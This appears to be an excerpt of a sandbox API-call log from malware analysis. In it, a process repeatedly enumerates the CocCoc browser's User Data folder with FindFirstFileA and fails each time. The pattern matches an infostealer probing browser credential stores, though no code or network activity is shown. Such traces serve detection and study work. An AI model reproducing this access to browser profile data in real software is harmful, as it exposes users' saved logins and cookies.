[0052.811] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.811] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.811] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.811] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.811] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.811] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.811] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.811] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.811] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.811] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.811] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.812] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.812] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.812] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.812] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.812] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.812] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.812] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.812] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.812] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.812] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.812] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.812] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.812] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.812] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.812] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.812] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.812] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.812] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.813] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.813] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.813] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.813] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.813] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.813] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.813] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.813] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.813] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.813] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.813] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.813] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.813] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.813] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.813] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.813] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.813] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.813] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.814] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.814] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.814] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.814] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.817] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.817] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.817] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.817] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.817] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
